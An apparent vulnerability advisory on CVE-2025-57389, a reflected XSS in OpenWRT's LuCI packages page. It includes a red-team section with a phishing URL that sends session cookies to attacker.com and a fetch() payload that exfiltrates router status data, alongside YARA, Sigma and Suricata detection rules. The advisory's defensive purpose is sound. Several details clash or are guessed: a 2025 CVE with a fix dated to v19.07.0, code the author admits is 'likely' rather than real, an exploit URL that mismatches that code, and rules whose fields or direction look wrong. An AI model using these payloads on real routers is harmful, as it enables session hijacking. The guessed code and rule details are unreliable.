CVE-2025-57389

Executive Summary

CVE-2025-57389 is a reflected cross-site scripting (XSS) vulnerability in the LuCI web interface of OpenWRT, specifically in the /admin/system/packages endpoint. An attacker can craft a malicious URL containing a JavaScript payload that, when visited by an authenticated administrator, executes arbitrary JavaScript in the context of the LuCI session. This can lead to session hijacking, configuration changes, or further compromise of the router. The vulnerability was introduced in OpenWRT v18.06.2 and fixed in v19.07.0.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the LuCI web interface, which is a core component of OpenWRT. The attack vector relies on user interaction (clicking a crafted link) and does not involve supply chain compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for user interaction and the limited impact on confidentiality and integrity. However, in the context of a router, an XSS can lead to full device compromise if the attacker can chain it with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability exists in the /admin/system/packages endpoint of LuCI. This endpoint is used to manage software packages on the OpenWRT device. The reflected XSS occurs because user-supplied input (likely a query parameter or part of the URL) is not properly sanitized or encoded before being reflected in the HTML response.

An attacker can craft a URL such as:

http://<router-ip>/cgi-bin/luci/admin/system/packages?<script>alert('XSS')</script>

When an authenticated administrator visits this URL, the browser executes the injected script. The script runs in the context of the LuCI session, allowing the attacker to perform actions on behalf of the administrator, such as installing malicious packages, changing firewall rules, or exfiltrating session cookies.

The fix in OpenWRT v19.07.0 involved proper output encoding of all user-supplied data in the response, preventing the browser from interpreting it as executable code.

Vulnerable vs. Patched Code

Vulnerable Code (v18.06.2): The vulnerable code likely directly echoed user input without encoding. For example:

-- Vulnerable LuCI controller
local package = luci.http.formvalue("package")
luci.template.render("admin_system/packages", {package = package})

In the template:

<h2>Package: <%= package %></h2>

This would render the input directly, allowing script injection.

Patched Code (v19.07.0): The patched code uses proper output encoding:

-- Patched LuCI controller
local package = luci.http.formvalue("package")
package = luci.util.pcdata(package)  -- Encode HTML entities
luci.template.render("admin_system/packages", {package = package})

The pcdata function encodes special characters like <, >, &, ", and ' to their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable OpenWRT instance (v18.06.2) with LuCI accessible.
• An authenticated administrator session.

Exploit Steps:

1. Craft a malicious URL:

   http://<router-ip>/cgi-bin/luci/admin/system/packages?<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
   

2. Send the URL to the administrator via phishing email or social engineering.
3. When the administrator clicks the link, the script executes and sends the session cookie to the attacker's server.
4. The attacker can then use the stolen cookie to hijack the session and perform administrative actions.

Example Payload:

<script>
fetch('/cgi-bin/luci/admin/status/overview')
  .then(response => response.text())
  .then(data => {
    fetch('http://attacker.com/exfil', {method: 'POST', body: data});
  });
</script>

Blue Team

Detection:

• Monitor web server logs for unusual query parameters containing <script> tags or JavaScript event handlers.
• Use a Web Application Firewall (WAF) to block requests with XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Upgrade to OpenWRT v19.07.0 or later.
• If upgrade is not possible, apply a virtual patch using a WAF to filter XSS payloads.
• Educate administrators about phishing attacks and the risks of clicking suspicious links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /cgi-bin/luci/admin/system/packages with query parameters containing <script> tags.
  • Outbound connections from the router to unknown IP addresses on port 80/443 (exfiltration).
• Host IOCs:
  • Unusual entries in the LuCI session log.
  • Modified system files or installed packages without administrator knowledge.
• Log IOCs:
  • Web server logs showing requests with XSS payloads in the query string.

Detection Engineering

YARA Rule

rule CVE_2025_57389_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-57389 in LuCI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57389"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /javascript\s*:/i
        $path = "/admin/system/packages"
    condition:
        $path and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: Reflected XSS in LuCI /admin/system/packages
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts against CVE-2025-57389
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/admin/system/packages'
        cs-uri-query|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in query parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57389 Reflected XSS in LuCI"; flow:to_server,established; content:"/admin/system/packages"; http_uri; pcre:"/(<script|on\w+=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade all OpenWRT devices to version 19.07.0 or later.
2. If upgrade is not possible, restrict access to the LuCI web interface to trusted IP addresses only.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-term Measures:

• Regularly update OpenWRT firmware to the latest stable version.
• Use strong, unique passwords for administrative accounts.
• Enable HTTPS for LuCI to prevent man-in-the-middle attacks.
• Monitor logs for suspicious activity and implement intrusion detection systems.

Patch Details: The fix is included in OpenWRT v19.07.0. The patch involves proper output encoding of user-supplied input in the LuCI template rendering engine. No specific commit hash is available, but upgrading to v19.07.0 or later resolves the issue.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert